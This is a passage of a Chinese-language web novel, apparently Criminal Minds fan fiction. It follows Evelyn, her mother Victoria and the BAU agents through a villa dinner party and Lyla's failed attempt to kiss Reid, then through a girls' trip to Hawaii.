“妈妈,原生家庭造成的影响,我已经着手开始准备了,艾美姐姐给我提供了很多早年哥哥姐姐们悲惨的往事,文档都被塞满了。”艾美甚至都已经帮伊芙琳找好了导演,不过被伊芙琳拒绝了,这本书要是真写出来妈妈估摸就破罐子破摔了。
被狠狠的威胁了一通的维多利亚立刻收回笑容,恶毒后妈那本书都快拍成电视剧了,名声已经坍塌二分之一,剩下二分之一的好名声她还是在乎的,她咳嗽一声道,“开玩笑而已我的甜心小宝贝。”
维多利亚小心的看了一眼自家越来越不讨喜的小女儿,见对方依旧小脸严肃,一双和她爸一样的迷人的眼睛依旧紧紧的盯着自己,眼底都是控诉后,她觉得自己有必要挽救一下岌岌可危的母女之情,于是她隔着莱拉握着女儿的小手手,表演的非常温柔慈祥。
“哈尼,我的宝贝,你是世界上最漂亮的姑娘,你从小就受男孩子的欢迎,这毋庸置疑。”
伊芙琳被母亲的手一拉,那只保养精致带着宝石戒指的手暖洋洋的,母女俩感情很好,伊芙琳又是维多利亚女士第一个亲手带大的孩子,哪怕两人有时候意见不同而吵架,甚至吵的昏天黑地,但小姑娘还是很爱妈妈的。
维多利亚女士见小女儿被她软化,她非常得意,就知道这孩子喜欢她摸她小手和头发,从小就这样,小小一团被骗的团团转,转头还喜欢依偎她的身边。
伊芙琳如果知道亲妈的想法,她一定回去就开始写,一天三万字争取一个月后就出版。
维多利亚觉得自己用母爱已经感化了一半,那张嘴就有些克制不住了,她滔滔不绝道, “宝贝,我说你从小就漂亮是真的,妈妈从来不说假话,那时候你可受欢迎了。那两年妈妈距离穷光蛋只有一步之遥,连万圣节的糖果都不舍得买,还好有你,我的宝贝。”维多利亚紧紧的攥着小女儿的手,都没空搭理自家小甜心似乎回想起什么眼睛都喷出火星子了。
“只要把你往门口一放,再让你站在空空的篮子前,上至八十岁带着小孙子过来讨糖的老爷爷下至被母亲抱着的男宝宝,纷纷慷慨的供奉了他们所有的糖果——包括隔壁那个该死的特意买昂贵的巧克力当圣诞糖果的贱人。”
维多利亚恶狠狠的辱骂当年过的比她好的一位邻居后,转头一脸慈爱的摸了摸女儿软乎乎的头发,“你都不知道你那时候看着好可怜,妈妈特意将你那最爱的条蓝裙子撕了,你哭的路人都不忍心了,效果斐然,咱们家好几年的糖果都有着落了。”
维多利亚女士深深觉得自己当时就是个天才,还是四五岁最可爱的时候,奶声奶气的请求她不要将爸爸送给她的裙子撕掉,哦小眼睛蓝汪汪的……不过就是小姑娘哭的让人有些不忍心,她毕竟是个母亲还是有些受不了…………于是她关上了门。
车子突然又安静极了……
伊芙琳气的眼圈一红,“停车!”
—————————
“爱尔卡!”伊芙琳拉开车门,在后车座的爱尔卡梅兰妮和乔伊身上扫了一眼,最后拉着小老太太暖呼呼的手道,“帮我报仇,我妈妈欺负我!她将我欺负哭了!”
“伊芙琳,你需要磨练自己的意志,你妈妈是个非常好的磨刀石,又硬又丑又老,这对你以后的人生会有很大帮助。”
爱尔卡还想看乐子呢,这辆车上的乐子可真多。
“明天在酒店我给您做糖醋排骨,大排,拿手啃着吃,顺道我请您喝最贵的威士忌!”
“OK成交”爱尔卡慢吞吞的下车整理一下自己的深蓝色假钻运动衣,挺着小肚子伸手扶了扶自己右边蓬松的银色小卷发,转身走着T台步一脸战意的去了最后面一辆车。
等到三辆车穿过山坡上的别墅群,最后停在了一栋院子里还带着泳池的白色小别墅门口。
伊芙琳下车后目光就已经开始搜寻维多利亚女士的身影,对方拉长脸下车,她突然就解气了。
莱拉请的厨师是专门做法式料理的米其林大厨,此刻距离晚餐时间还有一个小时。
作为主人,她介绍了家里的电影院和地下一楼的台球场,并表示客人们可以随意参观,一侧的吧台上都是酒水饮料和小甜点水果。
莱拉说完后,和其他人笑着打了声招呼,在分散的人群之外看到了瑞德。
瑞德正和摩根去地下室,摩根已经迫不及待的要大显身手,手机的免提都打开了,加西亚在对面一边打游戏一边听摩根说他的台球技术已经是无人能敌的状态,加西亚对这些不太了解,不过也乐意捧着自己的朋友,她在电话那边提供了满满的情绪价值。
“咱俩来一局!”摩根一手拿着手机一手狠狠的拍了拍身边人的肩膀,本就穿着一件薄薄的衬衫,瑞德疼的嘶了一声,目光淡淡的盯着摩根,挪开肩膀将对方的手扒拉下去。
“弱!太弱!”摩根在后面摇头晃脑,伸出一根手指道“男子汉要强壮!这才是吸引女孩的必要条件。”
加西亚的声音从电话那边传出来,她表示巧克力男孩的肌肉很性感!
瑞德翻了个白眼。
两人下楼就见已经有人了,正对着他们的是目光专注的锁定目标球的艾米丽,俯身握杆时动作稳且有力。
而另一个人双手抱着杆背对着他们
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站在球桌前。蓝色的背带连衣裙,同色的发带比头发更长一些软软的落到白皙的肩窝里,听到声音回头,就见两位男士一前一后下了楼梯。
瑞德见到伊芙琳还是很开心的,他露出小小的笑容来到她的身侧,见对方还握着手里的球杆,他好奇的询问“你会打台球吗?”
伊芙琳手指抠着球杆,很诚实的摇了摇头,指了指对面和摩根说话的艾米丽道,“我新找的老师。”
在两人几句话间,对面的艾米丽和摩根已经约了一把球赛,赌注就是楼下的双重巧克力芝士蛋糕,一年份!
“听起来似乎很好吃的样子,”伊芙琳很喜欢巧克力做的一切甜品,她仰头看向双手抄兜看着摩根和艾米丽的瑞德博士,对方真的好高,不过……她轻轻嗅了嗅,她似乎闻到了一股甜兮兮的味道,和巧克力的味道很像。
瑞德被闻的有些不好意思,不过这个爱干净的青年并不认为自己身上会有什么奇怪的味道,他每天都会洗澡,这是毋庸置疑的,不过他冷不丁想起来自己揣进兜里的一块巧克力,是棋友送给自己的还没来得及吃。
青年感觉手心里攥着的巧克力似乎要融化了,他手在裤兜里抬起来又放下,有些纠结要不要拿出来,他垂眸看向身侧的伊芙琳,最终抿着嘴小声道“巧克力,朋友给的,但可能要化了。”
两人面面相觑,伊芙琳迟疑了片刻,最终还是馋嘴的试探的将其中一只爪子松开,然后摊到了面前的青年眼皮子底下,五指张开白白的嫩嫩的。
瑞德将手心的巧克力球轻轻的放到对方的手心。防止巧克力球滚落到地上,伊芙琳手指合拢蜷缩起来时不小心碰到了对方微凉的指尖,一触即分,两人低着头看着带着褶皱的金色外壳。
伊芙琳迫不及待的拆开外衣。
瑞德眨了眨眼,没有眼镜遮挡,暖棕色的眼睛在昏暗的亮光下清澈极了,看着巧克力他思索片刻才想起来一件事,一个星期前棋友说起过,他买了一盒水果酒心巧克力,大概就是这个吧。
瑞德看着张大嘴巴已经做好准备一口吞下去的伊芙琳,他想起对方今年似乎是二十,刚到喝酒的年纪,他提醒道,“这是酒心巧克力,可能有些辣。”
伊芙琳已经将巧克力咬在嘴里,一个和姥姥吃的中式大药丸差不多大的巧克力球直接让她右脸颊好高隆起,酒心巧克力她也吃过不少,不过当她真咬开巧克力脆脆的外壳,薄薄的一层外壳里的酒液顿时辣的伊芙琳白嫩的脸涨红,连同脖颈。
这是一瞬间的事,小姑娘年纪轻轻吃了好大一个当,捂着鼻子嘴吧半晌没吭声。
瑞德看着脸红脖子粗的伊芙琳,他没想到对方反应这么大,“你还好吗?”
“这个酒,”伊芙琳从小到大没吃过这么烈的巧克力,里面的酒液辣的她嗓子有些不舒服,她掩盖鼻子嘴巴小声道,“请帮我倒一杯果汁可以吗?”
等到人走了,伊芙琳才伸出一只手从小挎包里费力掏出一张面巾纸,余光瞥到了双双握着球杆姿势摆得不错但脑袋都转向她的两位,伊芙琳顿了顿,最终转身擦鼻子。
其实她可以自己上去拿果汁,但一直捂着鼻子嘴巴上去,谁都能看出问题,被酒心巧克力呛的鼻涕眼泪都出来了,好丢脸!
话说回来,这味道怎么有些熟悉,倒不是她喝过,就是这香味怎么和华国老家的白酒一样,有一种熟透的南果梨的味道。
艾米丽从那俩凑到一边说话,她就和摩根使了个颜色,摩根心领神会的挂断电话,看了个全程,怎么说呢。
好像看出来了,又好像没看出来,这俩互动让人在一旁看的抓心挠肝,摩根内心大叹气,可惜不能对身边的人侧写。
伊芙琳擦完鼻子,抱着球杆站到艾米丽旁边开始找乐子了,学习能打发不少时间。
26.第 26 章
晚餐结束后。
伊芙琳端着果汁靠着艾米丽的沙发旁看着窗外一对中年单身人士。
她发现,人与人之间果然是需要交流的,不交流怎么能发展出友情……和爱情。
爱情有些言之过早,但双方都带着一种说不出的气息。
“互有好感。”艾米丽借着酒杯挡着嘴,对此作出了总结。
她们有如此想法,还是因为这两人看着似乎有很多话题,他们饭前饭后都结伴在一起聊天,
同是意大利人的梅兰妮和罗西,一个总是被逗的露出甜美的笑容,另一个拥有意大利男人独有的慵懒随性的气质,笑容略有些克制,但总体来说这两人似乎相处的非常愉快。
至于其他人……
伊芙琳咬着杯口,目光落到了维多利亚女士身上,她正双腿交叠矜持的坐直身体滔滔不绝的和莱拉说起自己当年是如何一炮而红。
不过说起人到中年这个可悲的事,维多利亚女士可太有发言权了,她怒斥现在的行业对超过三十的女人太苛刻了。
说到此,维多利亚女士上下打量了一眼莱拉,她叹息道“你也快三十了吧,小姑娘这种时候做到心态要稳,我当年的颜值堪称美国数一数二的,只可惜我的孩子们甚至都没有继承我四分之一的美貌。”她说这句话还恨铁不成钢的看了眼自己的小女儿,然后转身话题一转说起了行业的潜规则。
莱拉以为维多利亚是说一些不太好的事情,她有些尴尬的想要转移话题,但维多利亚女士的嘴巴可是出了名的快。
虽然在车上被爱尔卡怼的一度想要当个哑巴,但下车后她的嘴就原地复活,此刻更是语速飞快道,“三十岁之前副导演给我的名片都是哪个有名的导演的联系方式,三十岁之后给我的都是哪个有名的整容医生。”
莱拉看着面前的老前辈,以前觉得对方盛气凌人,似乎脾气不好,但现在看来,好像挺好玩的,对方摇头苦恼的望天控诉自己的脸蛋被小孩子叫一声阿姨都是可以的,如果灯光打的好,叫声大姐姐更不是什么难开口的事。
爱尔卡翻了个白眼端着酒杯去梅兰妮旁边的沙发上看乐子,霍奇本来独自坐在吧台喝着果汁和儿子打电话,听到大姐姐三个字,没忍住看了眼身后。
耳边是儿子奶声奶气道“爸爸,姐姐和阿姨的年纪不是差好多好多嘛?可以同时就阿姨姐姐吗?”
小家伙在家里的地毯上盘腿坐着,小眉头拧起来,犹豫的看了眼在厨房烤蛋糕的大姨,他有些苦恼。“要叫大姨姐姐吗?”
霍奇无奈的轻笑道,他耐心的解释了其中的关键原因。
不知道自己对一个儿童差点造成了不可磨灭的影响的女人,都快成祖母的人了还好意思说这种话。
即便是乔伊都没忍住,拉着莱拉起身躲开了喝多了的好友,独留维多利亚摊手摇头,“你们这群人,根本不懂老娘的痛。”
伊芙琳看完母亲精彩的表演后收回视线,去看个电影打发时间顺道弄点吃的,她有点没吃饱。
而另一侧的JJ则是看了眼被乔伊拉走的莱拉又看了眼和摩根站在窗边的瑞德。
他此刻专注的听着摩根讲话,脸上没有一丝一毫的情绪波动,只是偶尔一本正经的长篇大论,被毫不留情的打断后略微抿着嘴唇,但听到什么好笑的事情又忍不住眼睛一亮露出小小的笑容。
奇怪,JJ有些纳闷,她明明看到莱拉将他叫了出去。
手机时不时的震动,不远处单人沙发坐着的艾米丽看向JJ握在手里的手机。
她甚至一度分辨不出是来电还是短信发的过于密集。
—————————
伊芙琳在之前的料理台上的小甜点里选了一份巧克力蛋糕。
还有一款浅黄色的类似柠檬挞的甜品,看着似乎味道不错,上面点缀着小撮的青柠丝和金箔粉末。
她关上房门盘着腿靠坐在柔软的沙发上,室内陷入黑暗,唯有大屏幕透着冷色的光线。
斯皮尔伯格的侏罗纪公园算是一部非常不错的恐龙电影。
伊芙琳这是三刷了,可每到搞笑的地方还是忍不住咬着勺子嘎嘎乐的不行。
独自一个人看电影,没有任何人打扰,紧闭的房间里只有面前恐龙在急速奔跑,快速的沉浸在一部好的影片,伊芙琳吃东西的欲望都没了,咬着叉子看的津津有味。
不过正当她准备换个姿势躺着看时,余光瞥见了莱拉和瑞德博士两人一前一后在花园树下的椅子上坐下,伊芙琳有些纳闷这对组合,不过怕瑞德博士不好意思,她跪坐在沙发上直起身特意将厚重的窗帘拉上。
还真是没想到呢,伊芙琳被一晃而过的电影强光闪了下眼睛,她闭上眼找了个舒服的姿势躺着,半晌才睁开眼,瑞德博士竟然和莱拉也要极限拉扯?
瑞德敏感的察觉到了什么,目光落到微微晃动的窗帘,他有些警惕的看了眼另一侧灯火通明的客厅,发现摩根罗西他们都在那,组员们过于八卦,他每次都招架不住。
希望这一次不会被加西亚他们追着问一些奇怪的问题才好。
两人隔着很远,坐在长椅的两边,莱拉看向身侧不知想什么的瑞德,她轻声道“我再一次把你叫出来,或许有些不矜持,但我想着错过了这次我们大概再也不会见面了。”
“我们接吻吧。”
瑞德茫然的看向莱拉,他不知道话题为什么急转直下。
莱拉直接起身,在对方茫然的目光下快速坐到瑞德身边,拉着对方搭在膝盖上的手吻了上去。
她不信对方对自己一点感觉都没有!
这中间无疑没有给瑞德半分思考的空间,他都忘了自己被抓着的一只手,下意识的偏头避开,结果一个不稳一头栽到了一旁的树干上。
咚!
场面一度很尴尬,最起码,趴在落地窗前的几人是这么想的。
摩根咂舌,这不单身谁单身,躲得比兔子还快。
莱拉不知所措的想要将瑞德扶起来,但对方已经慢吞吞的扶着墙站起来了,只不过另一只手捂着鼻子时,下面已经缓缓流下几滴血。
“哦天!”
莱拉捂着嘴有些不知所措,她想上前帮忙,但被对方下意识的后退了一步,莱拉顿时有些受伤。
或许是因为对方拒绝了自己的帮助,也或许是……他下意识的躲开了她的吻。
莱拉想起当时的情景,因为短暂的近距离之下,她清楚的看到了对方眼底闪过的惊慌和无措,就是没有犹豫和迟疑,但凡他对自己有一丝一毫的感觉,都不会如此迅速堪称本能的拒绝。
七年前对方那双腼腆含笑的眼睛似乎再也找不到了,莱拉隐隐有些愤怒,她愤怒瑞德离开后为什么不主动联系她,明明也是喜欢她却不主动找她。
可这个愤怒也只没有停留太久,因为莱拉知道,这一切不全是瑞德的错,或者在经纪人的建议下、在当时的工作环境下,她自己权衡利弊舍下的感情,怪不了谁。
莱拉最后一丝挽留似乎
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依然没有任何意义了,毕竟即便她再一次赢得了瑞德的感情,两个人的工作性质也注定感情无法长久,何必拉着已经放下这段感情的人继续撞的头破血流。
瑞德狼狈的捏着鼻子,蹙着眉感觉到一阵阵闷痛,两人已经回到了客厅,明亮的灯光下,他冷白的指尖缝隙都是猩红,虽然不多但很显眼。
莱拉明显有些倦怠的样子,一行人适时的提出离开。
瑞德感觉鼻血流的更快了,他觉得自己需要和莱拉要一些冰块。
简单的冰敷后,瑞德去洗手间擦掉鼻尖的红印和水渍,垂眸盯着水池里快速消散的红色,他关掉水龙头站了一会儿,目光有些恍惚,也不知过了多久听到同伴的声音他才缓缓的眨了眨干涩的眼睛,手指点了点泛红的鼻子,他轻叹口气转身离开。
两辆明车行驶在洛杉矶郊外,罗西帮忙开的一辆明显有些超载。
浓郁的黑夜笼罩的城市,昏黄的路灯缓慢又快速的飞过,远处模糊的都市景色像是要被黑暗吞噬。
瑞德坐在副驾驶的位置上,背靠着座位,偏着头看向窗外,手指无意识的紧紧的抠着安全带,指节在用力时微微泛白,就连干净的指甲都在昏黄的光影下变得淡了几分。
他没有将自己疲惫和焦虑表现出来,最起码他是这么认为的。
可摩根余光看到的瑞德可不是镇定自若的样子,他无意识的咬着嘴角抠着安全带,他在焦虑不安的时候总会做出三百八十个动作来掩盖自己。
车里没人说话,JJ和艾米丽对视一眼,眼底都带着担忧。
不知道说什么转移他的注意力,这可真是……
不知道美食搭子小伙伴又陷入了深深的忧郁,伊芙琳挤在盘丝洞里四肢根本无法伸开,她脸贴着窗户,不时看了眼时间,她现在想下去自己打车回酒店不知道可不可以。
好绝望!
突然想起什么,伊芙琳将手从爱尔卡的屁股下使劲抽出来,抬手在上面敲打了好几个字。
罗西见前面的车要停下,他跟着停靠在旁边,没等他打电话询问,就听见后座伊芙琳虚弱的说道,“罗西先生开一下锁,我要去前面坐。”
罗西下意识的看了眼车后座,差点没忍住,他忍着笑将锁打开,伊芙琳一把掀开车门就歪滚了出去、爱尔卡也从柱形变成了圆形。
等到瑞德听到后面叽里哇啦的控诉和咔嚓咔嚓吃东西的声音时,他才觉得哪里不对,茫然的转身看向身后,只见后面三个女人正一人拿着一小包零食咔嚓咔嚓吃的嘎嘣脆。
多了一人。
伊芙琳伸手打了声招呼。
瑞德吸了吸鼻子,他闻到了一股辛辣的味道和花生的香气。
伊芙琳都以为前面的瑞德睡着了,没想到人醒着呢,也不知道干啥一声不吭的,摩根先生开车的时候还和她们聊起了花生是美国人有爱又痛的食物。
直接从小包里又掏出了一袋,一包也就一小把的炸花生,直接递过去,见对方没伸手,伊芙琳冷不丁想起什么,她拍了拍脑袋,“我都忘了问你了,您花生过不过敏?”
瑞德摇了摇头,接过花生后,车上都是花生的香气,摩根吸了吸鼻子,啊了一声。
瑞德有些嫌弃的不想投喂,但摩根太啰嗦了,他只能挑出来四颗塞到对方嘴里,嫌弃的拿着纸巾擦了擦手上的口水。
花生越嚼越香,还带着辛辣的甜味,摩根很喜欢这个花生小零食,只叹息自己在开车而瑞德这个洁癖怪死活不愿意再投喂他。
27.第 27 章
翠丝的妈妈,提亚女士差点被早年的好友和男朋友抹脖子后,出了医院后就表示如果翠丝没有地方借住,可以搬回家。
提亚女士说的很委婉,甚至带着一种别扭。翠丝很了解自己母亲,二话不说收拾包袱回家。
翠丝别看为人大大咧咧,但很恋家。
不过走之前,她被一个人扯着衣领,卡着脖子拉回了屋子。
这个人不是别人,正是穿着睡衣一脸低气压的伊芙琳。
家里的房子每一个房间都比较隔音,但隔音不代表你可以胡乱摔摔打打伴随着兴奋的嚎叫。
这种超过三十分贝的噪音显然让沉睡的人骤然惊醒,然后痛苦不堪。
伊芙琳铁青着脸从被子里将头伸出来,厚重的窗帘将所有光线屏蔽,她在漆黑的屋子里将手从温暖的被窝里伸出来,摸索着在柜子上找到了自己的手机掀开手机盖。
六点四十。
昨晚十点半才睡着的伊芙琳,捂着胀痛的脑子慢吞吞的爬起来,眼睛还闭着呢,隔壁声音持续不断。
最后是走廊的脚步声。
伊芙琳默默的掀开被子,拖鞋都没穿,光着脚打开门,走廊的壁灯晕开淡黄色的光线,她面无表情的将门关上追上那个消失在拐角的家伙。
翠丝哼着歌穿上鞋,手提着行李一手就要开门,要回家了比较兴奋,一大早给自己梳了个漂亮的蝎子辫,正琢磨着妈妈早上能给自己做什么呢?
手撕猪肉,熏烤后完美的深棕色,刷上妈妈自制的甜辣酱汁。肉质酥软到手轻轻一撕就能撕下来,里面的肉质顺着肉的纹理流到手上,一口塞进嘴里,甜辣和烟熏的味道在嘴巴里久久不散。
翠丝咽了咽口水,下一秒,脖子被勒住,她歪着身子一个踉跄,行李袋子都拿不稳了,直接咚的一声砸到了地上。
翠丝捂着脖子,转身看到头发乱蓬蓬的伊芙琳,以及对方那双喷火的眼,她不明所以。
“亲爱的,你起来啦?”翠丝嘿嘿笑着,“我还以为你要睡到八点呢,都没好意思打扰你,对了我今天就回家住了,你可不要太想我知道吗?”
伊芙琳扯了扯嘴角,掀开眼皮凉飕飕地瞪着眼前的家伙,“你已经吵醒我了!”
不过这不是最要紧的,伊芙琳拉着翠丝的手来到了乱七八糟的卧室。翠丝的猪窝。经过翠丝日夜不休的折腾下,这屋子已经不能看了。
淡蓝色的天光从落地窗投下了一片浅色的光,从远处看,地板上都带着油光和对方五根脚趾头和前脚掌的汗渍。
就不说房间里其他数不胜数的埋汰痕迹和对方留下的垃圾。
伊芙琳双手交叠环胸。
“什么时候打扫干净,什么时候走。”
不过话音刚落,她就听到翠丝哼唧道,“佐伊在楼下等我呢。”
翠丝这个不要脸的,五点多就给人家打电话,佐伊上楼时脸色也不太好看,她昨晚和男朋友度过了一个浪漫的夜晚。本来是愉快的,但睡了不到两小时,就被魔音穿耳、连续不断、一刻都没有挂断的铃声吵的她整个人都要炸了。
扎特也被闹腾的没睡好直接回了家,留下留下炸了的佐伊接通电话骂了二十分钟。
她骂完后还是穿着睡衣憋着气来接人了。
“伊芙琳,你家沙发借我一用,我先睡一会,我感觉再不睡你们就可以直接送我去医院了。”
佐伊捂着脑袋裹紧外套,直接倒头一趟,靠着抱枕没三秒就打起了小呼。
伊芙琳见佐伊闭上冒着红血丝的眼,一脸憔悴的倒头就睡着了,她看了眼身旁的翠丝,“你看你干的好事!”
翠丝摸了摸鼻子,她心虚道“我哪里知道她晚上没睡嘛。”
“有礼貌的人都知道早上八点前晚上九点后不要给别人打电话。”伊芙琳边走边和身后跟着她的翠丝道,“你这毛病赶紧改掉。”
就在伊芙琳指挥翠丝收拾屋子,客厅佐伊睡了足有一个小时才醒。
佐伊知道翠丝的埋汰,两人一起住的时候,每天都要追着对方的后屁股打扫。
有时候临时兴起的打扫,最后往往是一通大扫除。
三个女孩收拾三百多平的大房子。
电视上还播放夏威夷的旅游节目。
伊芙琳负责打扫大客厅和室内花园,她看着电视里蓝色玻璃的大海、细软干净的沙滩、帅气的男孩子在镜头一晃而过。
双手交叠搭在下巴,看的心痒痒。
说起来,自从上大学后她就再也没时间出去旅游。
不一会哒哒下楼的声音传来,伊芙琳左边搭着一个脑袋,右边的那颗被她抽出一只手扒拉下去,她现在烦死翠丝了。
“夏威夷啊,”佐伊意味不明的感了一句,“可真帅。”
三人面面相觑。
众所周知,作为世界旅游胜地之一的夏威夷,每年都会有数不胜数的男人女人扎堆一样出现在海滩上。
而且大多是俊男美女。
用伊芙琳自己总结的一句话,闭着眼随便走都能撞到一个帅哥,概率就是这么的高。
如果有人问在西雅图的海岸边呢?
伊芙琳会凉凉一笑,然后指着拖家带口挺着大肚腩的衰哥,皮球确实一撞一个准。
佐伊想去,她也攒了不少钱,如果不是伊芙琳和翠丝三番两次出事,她早就跑出去度假了。她每一次出行都会计算来回旅程需要的费用。
俄勒冈州吉尔哈特的古董店结果很有名气,百分之八十的概率能掏到好东西,徒步径的天然氧气吧更是让所有慢跑爱好者向往,海岸线的风景也很不错,白天散步夜晚开沙滩派对。
亚利桑那州大峡谷的世界著名景观不错,可以自驾游2英里进入峡谷,可以在黄松环绕的林地露营,体会大自然鬼斧神工的奇妙画作。
不过,以上两个地方酒店大多很贵。
夏威夷的日落海滩很出名,当然也是冲浪避暑胜地,重点是海边住宿普遍廉价,食物也很美味……来回的路费也没有超出预算。
佐伊本来在这三个想要去的地方来回挑选,此刻看着电视里的旅游小短片,她顿时觉得夏威夷可以的!
伊芙琳更不用提了。
不过,两人同时看向了趴在电视机上,正对着帅哥流口水的翠丝。
伊芙琳家里富裕,钱不是问题。佐伊和母亲共同开店也有自己的小金库。
三人当中唯一一个好吃懒做连兼职都不愿意做只想找男人的家伙感觉到了朋友们的目光,她回头眨了眨自己的大眼睛,邪魅一笑,“这次活着回来我妈更爱我了,一次性给我不少生活费和零花钱,夏威夷而已,绰绰有余。”
伊芙琳一手握着吸尘器,一只手举起,“那就夏威夷!想去的和我拍手!”
啪啪两声响起,三人激动的在地板上垫着脚跳舞,伊芙琳完美的转出了一个圈圈,铂金色的头发落在眼睛上,她摇了摇头,感觉到头发落到脸侧才小跑着去卧室拿着手机啪啪几条短信发过去。
加西亚正摇晃着脑袋和摩根在办公室畅聊假期怎么度过。
摩根双腿交叠搭在办公桌上,靠着椅子轻飘飘道,“我已经订了去夏威夷的机票。”
“哦!你去夏威夷竟然不叫我!”加西亚怒气冲冲的捏着拳头砸到她的巧克力男孩的胸口,咚的一声,砸的摩根无奈道,“宝贝女孩,每年我都在邀请你,但你更愿意宅在家里打游戏。”
“额,”加西亚心虚的将椅子转了一圈,看着正在赶报告的瑞德,她双脚一蹬,椅子顿时滑了过去。
瑞德写报告简直是如鱼得水,他现在已经快写完了———摩根的调查报告。
加西亚问他假期的计划,瑞德停下手上的动作,他咬着笔尖想了想,最后留给加西亚一如既往的答案,“我要去看望我的妈妈。”
“好吧,”加西亚觉得小伙伴们一个去拉斯维加斯一个去夏威夷,她自己有一种被抛弃的感觉。
艾米丽路过拿文件听说摩根要去夏威夷,被问到要不要一起去,这位都市丽人欣然同意。
说起来,也单身了好久,或许在夏威夷可以来一段浪漫的约会。
加西亚这时候收到伊芙琳的短信,她顿时觉得自己真的被抛弃了人!于是她脚下一滑,直接飘到了摩根身边,“我也去!”
而这边打扫完卫生的三个姑娘瘫在地上,点了两份披萨下肚,伊芙琳将人送走后,冲进浴室准备洗个热水澡,她身上都是灰,好在空调一直开着不是很热。
摸了摸自己的发梢比划了一下,捂着胸口对着镜子看向一侧的头发,正好到肩膀。
顺着肩膀往下看,白白嫩嫩的皮肤,伊芙琳摸着自己滑溜溜的脸蛋感慨,青春无极限美丽无极限啊。
大咧咧的打开双手又端详了一下自己的身材,纤细的四肢,腰也没有赘肉,不大不小的小包子是伊芙琳最满意的地方,怎么跑都不觉得坠坠的。
维多利亚女士致力于给每个女儿补一些药物促进一下包子的第二次发育,可遗传基因是板上钉钉的,三个女孩从侧面看都不用测DNA,简直和维多利亚女士的弧度极为相似。<
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伊芙琳抿着嘴笑的非常得意,她举起湿漉漉的还带着泡沫的拳头在嘴边充满感情的唱着我心永恒,葡萄沐浴露洗洗涮涮出来的泡沫堆在身上,浴室里都是甜甜的葡萄香氛。
带哪件泳衣好呢,裙子草帽,哦对了一定要带照相机。
趁着距离开学还有好久,她可以多待几天,
转眼到了出发的那天,一大早佐伊的男友开车来接人,期间扎特唧唧歪歪说了好多话。
大意是,不要给他戴绿帽子。
扎特深深的觉得凭自己女友的美貌,到时候肯定会有坏小子把持不住,万一霸王硬上弓怎么办!现在世道不如从前,人都疯得很。
经历了好几次变态杀人案,扎特这个边缘人物都感觉到了不安,他再三嘱咐三个女孩不要落单,还有不要乱参加陌生人开的派对。
又说在派对被人侵犯的例子数不胜数,让她们务必要警惕。
佐伊理都不理他,自顾自的再一次检查自己的证件和钱包,还不忘和后排的朋友说一声车上有面包。
从家里带的小面包还有牛奶,被佐伊放到了车后座,方便朋友们随吃随拿。
不过三人谁都没动,都打算中午在夏威夷大吃一顿!
早上七点半的航班,到夏威夷的时候已经是中午十二点多了。
姑娘们豪情壮志不吃东西,饿了五个多小时,在飞机上其实就已经饥肠辘辘饿的胃抽筋了,下飞机更是一个个扶着墙在机场大厅走不动路了。
这时候,靠近大门口一侧,绿色的热带树掩映下的窗户里,露出熟悉的红色和大写的招牌。
伊芙琳看着肯爷爷,哪怕没有闻到味道,她就已经咽口水了。
佐伊和翠丝用肚子咕噜噜的声音回应伊芙琳咽口水的声音,三人没有用语言交流,扶着墙捂着肚子,顺道脚踢行李箱,一路哼哼一路往肯爷爷家走去。
越来越近,似乎都闻了到了炸鸡的焦香,胜利就在眼前,以至于前方二十米处一个女人挡在了三人和肯爷爷家的中间,期间对方似乎说什么素食主义都没被三人听进去。
饥饿阻挡了脑子过滤耳朵传进来的杂音。
翠丝‘轻柔’的将其推到了一边。
几人进到里面,直奔柜台。
等到咬一口扎实的汉堡,稳稳的咽进肚子里,伊芙琳才舒服的叹口气。
她点的是青椒圈烟熏鸡腿堡,和一大份炸薯条,青椒的蔬菜味道带着清爽的口感解了了汉堡的油腻。
奶油一般的酱汁黑色胡椒颗粒从馅料里挤出来,伊芙琳擦了擦嘴角,才有时间看向四周,打量一下夏威夷的肯爷爷是什么样的装潢。
不过这里人好少,除了她们也就两个壮汉坐在角落。
就在三人闷头填肚子,一侧靠着机场路边的玻璃被人哐哐敲打,伊芙琳冷不丁被吓得直接咬到了舌头,她疼的眼角喷泪花,捂着嘴瞪着窗外的大姐。
对方穿着一条绿色的短款蕾丝裙,黑色的卷发从头到肩膀像是一个山形的瀑布,她的脸和身子都瘦的很奇怪,脸色也很不健康,一双眼睛怒视着三人,愤怒的说着什么。
伊芙琳皱眉仔细辨认对方的口型,毕竟对方传进来的声音几乎等同于无。
一旁的佐伊突然猛拍餐桌站了起来,紧接着是翠丝皱眉看向窗外,她气愤的大声道,“骂谁呢!谁吃尸体了!这女人疯了吧!”
店员这时候走了过来,她的脸色也不太好看,她解释了一下外面的女人是夏威夷本土的一个素食主义组织里的成员之一,她们每周一都会在各个用餐的场合举着牌子抗议,再不就是拦着进去吃饭的客人。
“那个组织里的其他人还好,只是发一些传单,并没有阻止客人进店吃饭。这个人非常较真,她的行为在我们看来就像个疯子。之前有一次路过的车停靠在一侧的取餐口时,车子还没完彻底停下,她就冲了过去,差点被车撞了都没有一点害怕,疯了一样拍着我们客人的车窗说他们不能吃动物,建议你们换个位置,不然她会一直敲窗户。”
伊芙琳看着窗外依旧瞪着她们的女人,对方顶着一张刻薄的脸契而不舍的继续敲窗户,她厌恶的挪开视线。维多利亚女士的一位好友也是素食主义者,但她们在餐桌上都是互不打扰,偶尔对方还会将维多利亚女士的牛排旁边的小番茄插走吃掉。
这女人是不是素食主义者,伊芙琳并不确定后,但对方是不是精神有问题,她还是能看出来的,对方却是精神有问题。
三人换了个位置吃完饭就打车离开,真是好心情都没有了。
28.第 28 章
推开厚重的柚木大门,温暖的海风吹拂,目光所及就是卧室窗外蓝色的海水、椰子树。
伊芙琳咬着酒店贩卖的手工冰淇淋,黑巧的醇厚味苦和夏威夷果的坚果香气。她连啃了两口,舒服的叹口气。
行李已经送到就摆在门口,米色的卧室,原木床榻低矮且宽敞。
无框落地窗毫无保留的引入炽热的阳光将房间的一半染上了金色,白色的亚麻窗帘低垂的一角随着风缓缓泛起波澜,露台配套藤编摇椅和桌子,上面的花瓶里还插着一朵新鲜的扶桑花。
伊芙琳来到露台,坐在藤椅上看了眼手机,依稀记得这俩人说她们订的酒店就在旁边,便宜又实惠。
刚才三人下车就短暂的分开了,也不知道她们到了没。
与此同时,两个头戴着草帽的姑娘拖着行李转了好几圈,在后半程找的过程当中,她们的火气随着温度的升高,越来越高。好不容易找到了她们在电话里预定的酒店时,如同油锅里倒了水,腾的燃气了高高的火焰,直把头顶的黑卷变成了爆炸头。草帽都带不住了。
